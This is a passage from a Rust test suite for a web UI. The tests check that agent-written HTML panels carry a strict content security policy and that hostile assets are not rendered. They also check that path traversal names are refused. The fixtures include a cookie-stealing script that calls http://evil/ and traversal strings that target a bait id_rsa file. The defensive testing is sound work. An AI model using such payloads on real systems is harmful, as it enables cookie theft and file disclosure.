9783        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9784            seed_performance(&fx, &repos, n, runs, items);
9785            let mut costs = Vec::new();
9786            for endpoint in ["questions", "talks", "health", "stats"] {
9787                for repo in &repos {
9788                    let cache = repo.join(".git/magi/config");
9789                    if cache.exists() {
9790                        std::fs::remove_dir_all(cache).unwrap();
9791                    }
9792                }
9793                let (_, cost) = request_cost::measure(async {
9794                    match endpoint {
9795                        "questions" => {
9796                            let _ = questions_list(State(ui.clone())).await.unwrap();
9797                        }
9798                        "talks" => {
9799                            let _ = talks_list(
9800                                State(ui.clone()),
9801                                Query(ListQuery {
9802                                    limit: None,
9803                                    ids: None,
9804                                }),
9805                            )
9806                            .await
9807                            .unwrap();
9808                        }
9809                        "health" => {
9810                            let _ = health(State(ui.clone())).await.unwrap();
9811                        }
9812                        _ => {
9813                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9814                                .await
9815                                .unwrap();
9816                        }
9817                    }
9818                })
9819                .await;
9820                eprintln!("{endpoint} handler N={n}: {cost:?}");
9821                assert_eq!(
9822                    cost.0,
9823                    if endpoint == "talks" { 2 } else { 1 },
9824                    "{endpoint}"
9825                );
9826                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9827                costs.push(cost);
9828            }
9829            if let Some(previous) = previous {
9830                assert_eq!(costs, previous);
9831            }
9832            previous = Some(costs);
9833        }
9834    }
9835
9836    #[tokio::test]
9837    async fn list_request_cost_scopes_do_not_mix() {
9838        let (_tmp, repos, fx) = performance_fixture().await;
9839        seed_performance(&fx, &repos, 10, 0, 10);
9840        let (questions, talks, notices) = tokio::join!(
9841            fx.get("/api/questions"),
9842            fx.get("/api/talks"),
9843            fx.get("/api/notifications")
9844        );
9845        assert_eq!(request_counts(&questions).0, 1);
9846        assert_eq!(request_counts(&talks).0, 2);
9847        assert_eq!(request_counts(&notices), (0, 0));
9848    }
9849
9850    #[tokio::test]
9851    async fn list_endpoints_large_home_ceiling() {
9852        let (_tmp, repos, fx) = performance_fixture().await;
9853        seed_performance(&fx, &repos, 200, 300, 400);
9854        let mut failures = Vec::new();
9855        // app.js boot/change loads plus the initial dashboard, settings and
9856        // repo picker. SSE is a persistent stream, not a bounded GET.
9857        for path in [
9858            "/",
9859            "/app.js",
9860            "/app.css",
9861            "/api/questions",
9862            "/api/runs?limit=300",
9863            "/api/queue",
9864            "/api/talks",
9865            "/api/notifications",
9866            "/api/health",
9867            "/api/stats",
9868            "/api/loop",
9869            "/api/settings",
9870            "/api/repos",
9871        ] {
9872            let start = std::time::Instant::now();
9873            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9874            let elapsed = start.elapsed();
9875            eprintln!("{path}: {elapsed:?}");
9876            match result {
9877                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9878                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9879                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9880            }
9881        }
9882        assert!(failures.is_empty(), "{}", failures.join("\n"));
9883    }
9884
9885    struct Res {
9886        status: u16,
9887        headers: String,
9888        /// The header block with its original casing, for the assertions that
9889        /// compare a header *value* rather than looking for a name. Lowercasing
9890        /// a CSP would hide a directive spelled with a capital letter, and the
9891        /// whole point of that test is that the string is exactly right.
9892        head: String,
9893        body: String,
9894        /// The body before any UTF-8 handling, for the routes that serve
9895        /// something other than text. A panel asset is a PNG as often as not,
9896        /// and `from_utf8_lossy` would silently replace half of it.
9897        bytes: Vec<u8>,
9898    }
9899
9900    impl Res {
9901        fn json(&self) -> Value {
9902            serde_json::from_str(&self.body)
9903                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9904        }
9905
9906        /// One header's value verbatim, or `None` when it was not sent.
9907        fn header(&self, name: &str) -> Option<&str> {
9908            self.head.lines().find_map(|line| {
9909                let (key, value) = line.split_once(':')?;
9910                key.trim()
9911                    .eq_ignore_ascii_case(name)
9912                    .then(|| value.trim_start().trim_end_matches('\r'))
9913            })
9914        }
9915    }
9916
9917    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
9918    /// be read to end-of-stream without parsing framing.
9919    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9920        request_with(addr, method, path, body, &[]).await
9921    }
9922
9923    /// As [`request`], with extra request headers - conditional GETs need
9924    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
9925    /// worse than one that sets none.
9926    async fn request_with(
9927        addr: SocketAddr,
9928        method: &str,
9929        path: &str,
9930        body: Option<&str>,
9931        extra: &[(&str, &str)],
9932    ) -> Res {
9933        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9934        for (name, value) in extra {
9935            head.push_str(&format!("{name}: {value}\r\n"));
9936        }
9937        if let Some(body) = body {
9938            head.push_str("Content-Type: application/json\r\n");
9939            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9940        }
9941        head.push_str("\r\n");
9942        if let Some(body) = body {
9943            head.push_str(body);
9944        }
9945        let mut socket = tokio::net::TcpStream::connect(addr)
9946            .await
9947            .expect("connect to the test server");
9948        socket
9949            .write_all(head.as_bytes())
9950            .await
9951            .expect("write request");
9952        let mut raw = Vec::new();
9953        socket.read_to_end(&mut raw).await.expect("read response");
9954        // Split on the raw bytes rather than on a lossy string, so a binary
9955        // body survives to be compared byte for byte.
9956        let split = raw
9957            .windows(4)
9958            .position(|w| w == b"\r\n\r\n")
9959            .expect("a header block");
9960        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9961        let bytes = raw[split + 4..].to_vec();
9962        let status = head
9963            .lines()
9964            .next()
9965            .and_then(|line| line.split_whitespace().nth(1))
9966            .and_then(|code| code.parse().ok())
9967            .expect("a status line");
9968        Res {
9969            status,
9970            headers: head.to_lowercase(),
9971            head,
9972            body: String::from_utf8_lossy(&bytes).into_owned(),
9973            bytes,
9974        }
9975    }
9976
9977    /// A `POST` carrying a raw binary body and its own headers, for the
9978    /// attachment upload route - `request_with` only ever sends
9979    /// `Content-Type: application/json`, which is wrong for an image and
9980    /// would corrupt anything not valid UTF-8 by round-tripping it through
9981    /// `&str` first.
9982    async fn request_bytes(
9983        addr: SocketAddr,
9984        path: &str,
9985        headers: &[(&str, &str)],
9986        body: &[u8],
9987    ) -> Res {
9988        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9989        for (name, value) in headers {
9990            head.push_str(&format!("{name}: {value}\r\n"));
9991        }
9992        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9993        let mut socket = tokio::net::TcpStream::connect(addr)
9994            .await
9995            .expect("connect to the test server");
9996        socket
9997            .write_all(head.as_bytes())
9998            .await
9999            .expect("write request head");
10000        socket.write_all(body).await.expect("write request body");
10001        let mut raw = Vec::new();
10002        socket.read_to_end(&mut raw).await.expect("read response");
10003        let split = raw
10004            .windows(4)
10005            .position(|w| w == b"\r\n\r\n")
10006            .expect("a header block");
10007        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10008        let bytes = raw[split + 4..].to_vec();
10009        let status = head
10010            .lines()
10011            .next()
10012            .and_then(|line| line.split_whitespace().nth(1))
10013            .and_then(|code| code.parse().ok())
10014            .expect("a status line");
10015        Res {
10016            status,
10017            headers: head.to_lowercase(),
10018            head,
10019            body: String::from_utf8_lossy(&bytes).into_owned(),
10020            bytes,
10021        }
10022    }
10023
10024    /// A run on disk, without touching the process-global magi home.
10025    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10026        let mut state = RunState::new(
10027            PathBuf::from("/repo/magi"),
10028            "main".to_owned(),
10029            "0123456789abcdef".to_owned(),
10030            "Add a web UI\n\nMobile first.".to_owned(),
10031            Config::default(),
10032        );
10033        state.id = id.to_owned();
10034        state.status = status;
10035        let dir = runs.join(id);
10036        std::fs::create_dir_all(&dir).expect("run dir");
10037        std::fs::write(
10038            dir.join("run.json"),
10039            serde_json::to_string_pretty(&state).expect("serialize run"),
10040        )
10041        .expect("write run.json");
10042    }
10043
10044    /// Same as [`write_run`], but against a named repository rather than the
10045    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10046    /// spread across more than one.
10047    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10048        let mut state = RunState::new(
10049            PathBuf::from(repo),
10050            "main".to_owned(),
10051            "0123456789abcdef".to_owned(),
10052            "task".to_owned(),
10053            Config::default(),
10054        );
10055        state.id = id.to_owned();
10056        state.status = status;
10057        let dir = runs.join(id);
10058        std::fs::create_dir_all(&dir).expect("run dir");
10059        std::fs::write(
10060            dir.join("run.json"),
10061            serde_json::to_string_pretty(&state).expect("serialize run"),
10062        )
10063        .expect("write run.json");
10064    }
10065
10066    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10067        let body = serde_json::json!({
10068            "schema": 1,
10069            "pid": 4242,
10070            "started_at": Timestamp::now().to_string(),
10071            "updated_at": updated_at.to_string(),
10072            "idle": false,
10073            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10074            "completed": 7,
10075            "polls": 143,
10076        });
10077        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10078    }
10079
10080    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10081    ///
10082    /// No test in this file may start the real loop - see [`Ui::launch`] for
10083    /// why - so this stands in for the only thing the routes need a loop to
10084    /// do: keep running until `Stop` is set, then return. A real
10085    /// `serve_until` here would resolve its queue and its status file through
10086    /// the process-global magi home, claim whatever it found in the
10087    /// operator's live backlog, overwrite the status file of the `magi serve`
10088    /// that owns it, and spend real agent quota on a real competition.
10089    fn launch_idle(
10090        _opts: daemon::Opts,
10091        stop: daemon::Stop,
10092    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10093        Box::pin(async move {
10094            while !stop.stopped() {
10095                tokio::time::sleep(Duration::from_millis(2)).await;
10096            }
10097            Ok(())
10098        })
10099    }
10100
10101    /// A loop that fails on the way up, the way one whose home has gone
10102    /// read-only does.
10103    fn launch_broken(
10104        _opts: daemon::Opts,
10105        _stop: daemon::Stop,
10106    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10107        // The stand-in dies instantly, so a restarted one can record its own
10108        // failure before the start's response is read. The second attempt
10109        // therefore fails with a different message, to tell a stale error
10110        // from a fresh one.
10111        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10112        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10113        Box::pin(async move {
10114            Err(anyhow::anyhow!(if first {
10115                "publish the daemon status file: read-only file system"
10116            } else {
10117                "the restarted stand-in failed as well"
10118            }))
10119        })
10120    }
10121
10122    /// The address the parking loop knocks on, and what it heard there.
10123    ///
10124    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
10125    /// capture a fixture's address; this is how it is handed one. Only
10126    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
10127    /// these, so nothing else in this binary can race them.
10128    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10129    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10130
10131    /// A loop that, once it is asked to stop, checks the deck still answers
10132    /// before it goes.
10133    ///
10134    /// It stands in for a run mid-node: `finish_loop` waits for this future,
10135    /// so the request it makes is strictly inside the park window - no sleep
10136    /// and no polling needed to be sure of that.
10137    fn launch_knocking_on_the_way_out(
10138        _opts: daemon::Opts,
10139        stop: daemon::Stop,
10140    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10141        Box::pin(async move {
10142            while !stop.stopped() {
10143                tokio::time::sleep(Duration::from_millis(2)).await;
10144            }
10145            let addr = PARK_KNOCK
10146                .lock()
10147                .expect("park knock")
10148                .expect("the test set an address");
10149            let heard = request(addr, "GET", "/api/health", None).await.status;
10150            *PARK_HEARD.lock().expect("park heard") = Some(heard);
10151            Ok(())
10152        })
10153    }
10154
10155    /// The loop view once `want` accepts it.
10156    ///
10157    /// Polled rather than asserted straight after the POST because stopping
10158    /// is deliberately not instant - that is the contract - and rather than
10159    /// slept through because a fixed wait is either flaky or slow.
10160    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
10161    /// finite, so a genuine hang fails the test instead of hanging the
10162    /// suite.
10163    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10164        for _ in 0..SETTLE_STEPS {
10165            let view = fx.get("/api/loop").await.json();
10166            if want(&view) {
10167                return view;
10168            }
10169            tokio::time::sleep(Duration::from_millis(10)).await;
10170        }
10171        panic!(
10172            "the loop never settled: {}",
10173            fx.get("/api/loop").await.json()
10174        );
10175    }
10176
10177    /// File an open question directly in the store the server reads.
10178    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
10179        let store = fx.questions();
10180        let mut q = Question::new(
10181            "20260902-000000-beef".to_owned(),
10182            "implement".to_owned(),
10183            "impl-A".to_owned(),
10184            summary.to_owned(),
10185            "because it matters".to_owned(),
10186            choices.iter().map(|c| (*c).to_owned()).collect(),
10187        );
10188        store.put(&mut q).expect("put question");
10189        q.id
10190    }
10191
10192    /// A question with a panel the server can serve, plus the named assets.
10193    ///
10194    /// Written through `Questions::put_panel` rather than by laying out the
10195    /// directory here, so these tests exercise the same on-disk shape the
10196    /// agents produce and cannot pass against a layout only the tests know.
10197    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
10198        let store = fx.questions();
10199        let mut q = Question::new(
10200            "20260902-000000-beef".to_owned(),
10201            "land".to_owned(),
10202            "fix".to_owned(),
10203            "Merge this?".to_owned(),
10204            "the diff is in the panel".to_owned(),
10205            vec!["merge".to_owned(), "hold".to_owned()],
10206        );
10207        // Staged outside the questions root, because `put_panel` copies from
10208        // wherever the agent left its files.
10209        let staging = fx.home.path().join("staging");
10210        std::fs::create_dir_all(&staging).expect("staging dir");
10211        let sources: Vec<PathBuf> = assets
10212            .iter()
10213            .map(|(name, bytes)| {
10214                let path = staging.join(name);
10215                std::fs::write(&path, bytes).expect("write staged asset");
10216                path
10217            })
10218            .collect();
10219        store
10220            .put_panel(&mut q, html, &sources)
10221            .expect("write the panel");
10222        store.put(&mut q).expect("put question");
10223        q.id
10224    }
10225
10226    /// A talk on disk, without talking to a model.
10227    ///
10228    /// Written as JSON straight into the store the server reads, because the
10229    /// only constructor `talk::begin` offers takes no turn but still requires
10230    /// a real caller-visible flow. The one thing this cannot make up is the
10231    /// seat, so it is built with the real `SeatState::new` and serialized -
10232    /// the alternative, hand-writing that object, would make these tests fail
10233    /// the day the seat gains a field.
10234    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
10235        seed_talk_at(&fx.talks(), id, status)
10236    }
10237
10238    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
10239        std::fs::create_dir_all(store.root()).expect("talks dir");
10240        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
10241            .expect("serialize a seat");
10242        let body = serde_json::json!({
10243            "schema": 1,
10244            "id": id,
10245            "repo": "/repo/magi",
10246            "agent": "mock",
10247            "status": status,
10248            "turns": [],
10249            "created_at": Timestamp::now().to_string(),
10250            "updated_at": Timestamp::now().to_string(),
10251            "seat": seat,
10252        });
10253        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
10254        store.get(id).expect("the seeded talk has to be readable");
10255        id.to_owned()
10256    }
10257
10258    #[tokio::test]
10259    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
10260        let fx = Fixture::start().await;
10261        let id = panel(
10262            &fx,
10263            "<h1>Merge?</h1><img src=\"diff.svg\">",
10264            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
10265        );
10266
10267        for path in [
10268            format!("/api/questions/{id}/panel"),
10269            format!("/api/questions/{id}/asset/diff.svg"),
10270        ] {
10271            let res = fx.get(&path).await;
10272            assert_eq!(res.status, 200, "{path}: {}", res.body);
10273            // The whole string, not a substring. A weakened directive - an
10274            // `img-src *` that lets a panel beacon out to a remote host, a
10275            // `script-src` anything, a missing `form-action` that lets it post
10276            // the owner's decision to a third party - has to fail here, and a
10277            // `contains` assertion would let every one of those through.
10278            assert_eq!(
10279                res.header("content-security-policy"),
10280                Some(
10281                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10282                     font-src data:; base-uri 'none'; form-action 'none'; \
10283                     frame-ancestors 'self'"
10284                ),
10285                "{path} is the only thing between a hostile panel and the tailnet"
10286            );
10287            assert_eq!(
10288                res.header("x-content-type-options"),
10289                Some("nosniff"),
10290                "{path}: a browser must not re-decide the type we sent"
10291            );
10292            assert_eq!(
10293                res.header("referrer-policy"),
10294                Some("no-referrer"),
10295                "{path}: a panel must not leak the question id off the machine"
10296            );
10297
10298            // The front end mounts the frame only after a `HEAD` says the
10299            // panel is there, so `HEAD` has to answer with the same status and
10300            // the same policy as `GET` - a preflight that came back without
10301            // the CSP would mean a frame mounted on an unverified promise.
10302            let pre = fx.head(&path).await;
10303            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10304            assert_eq!(
10305                pre.header("content-security-policy"),
10306                res.header("content-security-policy"),
10307                "{path}: the preflight carries the same policy"
10308            );
10309            assert_eq!(
10310                pre.header("content-type"),
10311                res.header("content-type"),
10312                "{path}: the preflight carries the same type"
10313            );
10314        }
10315    }
10316
10317    #[tokio::test]
10318    async fn a_panel_reaches_the_browser_byte_for_byte() {
10319        let fx = Fixture::start().await;
10320        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
10321        // tag, an entity, and a multi-byte character. The sandbox is what makes
10322        // this safe, so nothing here may be rewritten on the way out - a
10323        // rewritten diff is a diff the owner cannot trust.
10324        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
10325        let id = panel(&fx, html, &[]);
10326
10327        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10328
10329        assert_eq!(res.status, 200);
10330        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10331        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10332        assert_eq!(
10333            res.header("content-disposition"),
10334            None,
10335            "the panel itself is rendered in the frame, not downloaded"
10336        );
10337    }
10338
10339    #[tokio::test]
10340    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10341        let fx = Fixture::start().await;
10342        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10343        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10344        let id = panel(
10345            &fx,
10346            "<img src=\"diff.svg\"><img src=\"shot.png\">",
10347            &[("diff.svg", svg), ("shot.png", png)],
10348        );
10349
10350        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10351        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10352
10353        assert_eq!(as_svg.status, 200);
10354        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10355        // An SVG is XML that may carry script. Inside the panel it is an
10356        // `<img src>` and the script cannot run; opened at the top level it
10357        // would be a document on magi's own origin, so the browser is told to
10358        // download it instead of rendering it.
10359        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10360
10361        assert_eq!(as_png.status, 200);
10362        assert_eq!(as_png.header("content-type"), Some("image/png"));
10363        assert_eq!(
10364            as_png.header("content-disposition"),
10365            None,
10366            "a raster image has no execution surface, so tapping it still shows it"
10367        );
10368        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10369    }
10370
10371    #[tokio::test]
10372    async fn an_html_asset_is_never_served_as_html() {
10373        let fx = Fixture::start().await;
10374        let id = panel(
10375            &fx,
10376            "<p>see the notes</p>",
10377            &[
10378                (
10379                    "notes.html",
10380                    b"<script>fetch('http://evil/'+document.cookie)</script>",
10381                ),
10382                ("hook.js", b"fetch('http://evil/')"),
10383                ("data.json", b"{}"),
10384                ("HEADLINE.TXT", b"plain"),
10385            ],
10386        );
10387
10388        for name in ["notes.html", "hook.js", "data.json"] {
10389            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10390            assert_eq!(res.status, 200, "{name}: {}", res.body);
10391            // Serving this as text/html would be a way to reach agent markup
10392            // at the top level of the operator's browser, outside the frame's
10393            // sandbox and outside its CSP - which is the whole thing the panel
10394            // design exists to prevent. Unlisted types are downloads.
10395            assert_eq!(
10396                res.header("content-type"),
10397                Some("application/octet-stream"),
10398                "{name} must not be a type the browser will execute or render"
10399            );
10400        }
10401        // The whitelist is matched case-insensitively, so an agent shouting the
10402        // extension still gets a readable file rather than a download.
10403        let txt = fx
10404            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10405            .await;
10406        assert_eq!(
10407            txt.header("content-type"),
10408            Some("text/plain; charset=utf-8")
10409        );
10410    }
10411
10412    #[tokio::test]
10413    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10414        let fx = Fixture::start().await;
10415        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10416        // Something outside the panel directory that a traversal would reach if
10417        // one got through, so a passing test is not merely "the file was
10418        // missing anyway".
10419        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10420
10421        // Decoded before this server's handler sees them: axum percent-decodes
10422        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
10423        // string with a NUL in it. All three look like ordinary single-segment
10424        // filenames to the router, so the router passes them through and
10425        // `valid_asset_name` is what refuses them - for the literal `..`, and
10426        // for `/`, `\` and NUL not being in the permitted character set.
10427        for encoded in [
10428            "%2e%2e%2fid_rsa",
10429            "..%2fid_rsa",
10430            "..%5cid_rsa",
10431            "%2e%2e%5cid_rsa",
10432            "diff%00.svg",
10433            "..",
10434            ".hidden",
10435            "%2e%2e%2f%2e%2e%2fid_rsa",
10436        ] {
10437            let res = fx
10438                .get(&format!("/api/questions/{id}/asset/{encoded}"))
10439                .await;
10440            assert_eq!(
10441                res.status, 400,
10442                "`{encoded}` has to be refused by name, not looked up: {}",
10443                res.body
10444            );
10445            assert!(res.json()["error"].is_string(), "{}", res.body);
10446        }
10447
10448        // Not decoded, and never this handler's problem: a real slash makes the
10449        // request one segment too long for `/api/questions/{id}/asset/{name}`,
10450        // so axum's router has no route to match and answers before any code
10451        // here runs. Asserted so that a future route with a wildcard segment
10452        // cannot quietly open this door.
10453        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10454            let res = fx
10455                .get(&format!("/api/questions/{id}/asset/{literal}"))
10456                .await;
10457            assert_eq!(
10458                res.status, 404,
10459                "`{literal}` must not match the asset route at all: {}",
10460                res.body
10461            );
10462        }
10463    }
10464
10465    #[tokio::test]
10466    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10467        let fx = Fixture::start().await;
10468        let plain = ask(&fx, "Which backend?", &["SQLite"]);
10469        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10470
10471        // A question nobody wrote a panel for. The client preflights with HEAD
10472        // and cannot see inside a sandboxed frame, so this must be a status and
10473        // not an empty page.
10474        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10475        assert_eq!(none.status, 404, "{}", none.body);
10476        assert!(none.json()["error"].is_string(), "{}", none.body);
10477        assert_eq!(
10478            fx.head(&format!("/api/questions/{plain}/panel"))
10479                .await
10480                .status,
10481            404,
10482            "the preflight is the only way the client can learn this"
10483        );
10484
10485        // A name that is perfectly legal and simply is not there.
10486        let missing = fx
10487            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10488            .await;
10489        assert_eq!(missing.status, 404, "{}", missing.body);
10490        assert!(missing.json()["error"].is_string(), "{}", missing.body);
10491
10492        // A question that does not exist at all, on both routes.
10493        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10494        assert_eq!(
10495            fx.get("/api/questions/nope/asset/diff.svg").await.status,
10496            404
10497        );
10498    }
10499
10500    #[tokio::test]
10501    async fn a_run_with_an_open_question_reads_as_waiting() {
10502        let fx = Fixture::start().await;
10503        let run = "20260902-000000-beef".to_owned();
10504        write_run(&fx.runs(), &run, RunStatus::Implementing);
10505
10506        let before = fx.get("/api/runs").await.json();
10507        assert_eq!(before[0]["waiting"], false, "{before}");
10508
10509        let store = fx.questions();
10510        let mut q = Question::new(
10511            run.clone(),
10512            "implement".to_owned(),
10513            "impl-A".to_owned(),
10514            "Which backend?".to_owned(),
10515            String::new(),
10516            vec!["SQLite".to_owned()],
10517        );
10518        store.put(&mut q).expect("put");
10519
10520        let during = fx.get("/api/runs").await.json();
10521        assert_eq!(during[0]["waiting"], true, "{during}");
10522
10523        // Answered: the run is moving again, and the flag has to follow without
10524        // anything having rewritten run.json.
10525        q.answer(Answer::Choice("SQLite".to_owned()))
10526            .expect("answer");
10527        store.put(&mut q).expect("put");
10528        let after = fx.get("/api/runs").await.json();
10529        assert_eq!(after[0]["waiting"], false, "{after}");
10530    }
10531
10532    #[tokio::test]
10533    async fn an_open_question_is_listed_and_counted_by_health() {
10534        let fx = Fixture::start().await;
10535        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10536
10537        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10538        let listed = fx.get("/api/questions").await.json();
10539        assert_eq!(listed.as_array().expect("array").len(), 1);
10540        assert_eq!(listed[0]["id"], id);
10541        assert_eq!(listed[0]["status"], "open");
10542        assert_eq!(listed[0]["choices"][1], "Redis");
10543        // The count is what makes the phone's indicator honest: it is the one
10544        // number meaning nothing will move until a human acts.
10545        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10546    }
10547
10548    fn obsolete_approval_state() -> RunState {
10549        let mut state = crate::land::tests::repair_state(true, true);
10550        state.pr = Some(crate::run::PrRecord {
10551            url: "https://github.com/example/repo/pull/42".into(),
10552            number: 42,
10553            state: "open".into(),
10554            checks: "green".into(),
10555            round: 1,
10556            rounds: 4,
10557            red_at_merge: Vec::new(),
10558        });
10559        state
10560    }
10561
10562    #[tokio::test]
10563    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10564        for owner in ["missing", "current", "completed", "later"] {
10565            let fx = Fixture {
10566                home: TempDir::new().unwrap(),
10567                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10568            };
10569            let mut state = obsolete_approval_state();
10570            state.status = RunStatus::Landing;
10571            state.parked = true;
10572            state.driver_exited = true;
10573            let mut q = Question::new(
10574                state.id.clone(),
10575                crate::land::APPROVAL_NODE.into(),
10576                "land".into(),
10577                "Old approval".into(),
10578                "Original evidence".into(),
10579                vec!["merge".into(), "hold".into()],
10580            );
10581            state.land_approval = Some(crate::run::LandApproval {
10582                question: q.id.clone(),
10583                head: "head".into(),
10584            });
10585            state.save_under(fx.home.path()).unwrap();
10586            let stale = state.clone();
10587            fx.questions().put(&mut q).unwrap();
10588            let mut task = Task::new(
10589                "Owner".into(),
10590                "Original instruction".into(),
10591                state.repo.clone(),
10592                Source::Human,
10593            );
10594            task.runs.push(state.id.clone());
10595            task.status = if owner == "completed" {
10596                TaskStatus::Done
10597            } else {
10598                TaskStatus::Parked
10599            };
10600            if owner == "later" {
10601                task.runs.push("later-run".into());
10602            }
10603            if owner != "missing" {
10604                fx.queue().put(&mut task).unwrap();
10605            }
10606            let ui = Arc::new(Ui::new(
10607                fx.queue(),
10608                fx.questions(),
10609                fx.talks(),
10610                fx.runs(),
10611                fx.home.path().into(),
10612                state.repo.clone(),
10613            ));
10614            let response = question_answer(
10615                State(ui),
10616                Path(q.id.clone()),
10617                Ok(Json(NewAnswer {
10618                    choice: Some(crate::merge_decision::DISMISS.into()),
10619                    text: None,
10620                })),
10621            )
10622            .await
10623            .unwrap();
10624            assert_eq!(
10625                response.0.question.resolution().as_deref(),
10626                Some(crate::merge_decision::DISMISS)
10627            );
10628            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10629            assert_eq!(disk.status, RunStatus::Superseded);
10630            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10631            assert!(!crate::merge_decision::resumable_hold(&disk));
10632            assert_eq!(
10633                serde_json::to_value(&disk.pr).unwrap(),
10634                serde_json::to_value(&stale.pr).unwrap()
10635            );
10636            assert_eq!(fx.questions().count_open(), 0);
10637            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10638            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10639            if owner == "missing" {
10640                assert!(fx.queue().list().is_empty());
10641            } else {
10642                let after = fx.queue().get(&task.id).unwrap();
10643                assert_eq!(
10644                    after.status,
10645                    if owner == "current" {
10646                        TaskStatus::Done
10647                    } else {
10648                        task.status
10649                    }
10650                );
10651                assert_eq!(after.runs, task.runs);
10652                assert_eq!(after.instruction, task.instruction);
10653                assert_eq!(after.action_applied(&q.id), owner == "current");
10654            }
10655        }
10656    }
10657
10658    #[tokio::test]
10659    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10660        let fx = Fixture::start().await;
10661        let mut state = obsolete_approval_state();
10662        state.status = RunStatus::Landing;
10663        state.parked = true;
10664        state.driver_exited = true;
10665        let mut q = Question::new(
10666            state.id.clone(),
10667            crate::land::APPROVAL_NODE.into(),
10668            "land".into(),
10669            "Superseded PR approval".into(),
10670            "Original review evidence".into(),
10671            vec!["merge".into(), "hold".into()],
10672        );
10673        state.land_approval = Some(crate::run::LandApproval {
10674            question: q.id.clone(),
